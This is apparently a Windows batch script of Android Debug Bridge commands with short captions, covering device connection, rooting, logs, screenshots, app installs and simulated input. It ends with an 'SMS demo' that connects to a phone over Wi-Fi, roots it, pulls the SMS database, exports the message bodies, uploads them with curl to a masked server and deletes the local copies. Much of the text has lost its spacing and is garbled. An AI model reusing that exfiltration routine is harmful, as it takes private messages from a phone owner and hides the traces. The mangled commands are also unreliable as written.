@echo off
Title Android Debug Bridge
ECHO close adb
ADB kill-server
ECHO launches ADB
ADB start-server
ECHO View list of devices connected to ADB
ADB devices
ECHO Remote Debugging
ADB Connect 192.168.43.1
ECHO get permission
ADB root
ECHO gets the status of the device
ADB get-state
ECHO Print System log for Android
ADB logcat
ECHO phone screen saved to SDcard
ADB shell/system/bin/screencap-p/sdcard/screenshot.png
ECHO screen picture saved to PC
ADB pull/sdcard/screenshot.png.
ECHO Force Installation
ADB install-r adbwireless_12.apk
ECHO Uninstall APK
ADB uninstall *.apk
ECHO Restart your phone
ADB reboot
ECHO enters the shell environment
ADB shell
ECHO modify file permissions to enter the shell environment first
chmod 0755 [Mobile side file path]
ECHO restarts the phone into Recovery
ADB reboot Recovery
ECHO restarts the phone into Bootloader
ADB reboot bootloader
ECHO exports the run log on the phone as a TXT file
ADB logcat > Log.txt
ECHO changes the device to a readable writable
ADB remount
ECHO New Recording command after command operation phone, CTRL + C end recording, record results saved to SDcard
ADB Shell Screenrecord Sdcard/record.mp4
ECHO Analog Input text information (if the keyboard is first set to the English keyboard)
ADB input text HelloWorld
ECHO Analog Physical key operation
ADB input KeyEvent Keycode_volume_down
ECHO Analog Click Action
ADB input TAP 500 500
ECHO Analog Slide operation
ADB input swipe 200 500 400 500
ECHO Analog long-press operation (x1 y1 x2 y2 mm)
ADB input swipe 200 200 200 200 1000
ECHO launches default browser to open a Web page
ADB shell am start-a android.intent.action.view-d http://litry.cn starting:intent {act=android.intent.action.view dat= http://litry.cn}
ECHO Start Dialer Dial 10086
ADB shell am start-a android.intent.action.call-d tel:10086 starting:intent {act=android.intent.action.call dat=tel:xx XXX}
Get a small demo of your SMS
@echo offtitle smsecho off adbadbKill-Serverecho starting adbadb start-Serverecho connecting remote devices ADB connect192.168.43.1ECHO Get permissions adb rootecho change device to readable writable adb remountecho export MMSSMS.DBADB pull/data/data/com.android.providers.telephony/databases/mmssms.db. ECHO off AdbadbKill-Serverecho Export SMS Sqlite3-csv mmssms.db"Select _id,body from SMS ORDER by _id DESC">Sms.txtecho Delete local Mmssms.dbecho del Mmssms.dbecho upload to server Curl-F"[email protected]"http//***/smsECHO Delete sms del sms.txtpause
ADB (Android Debug Bridge) Summary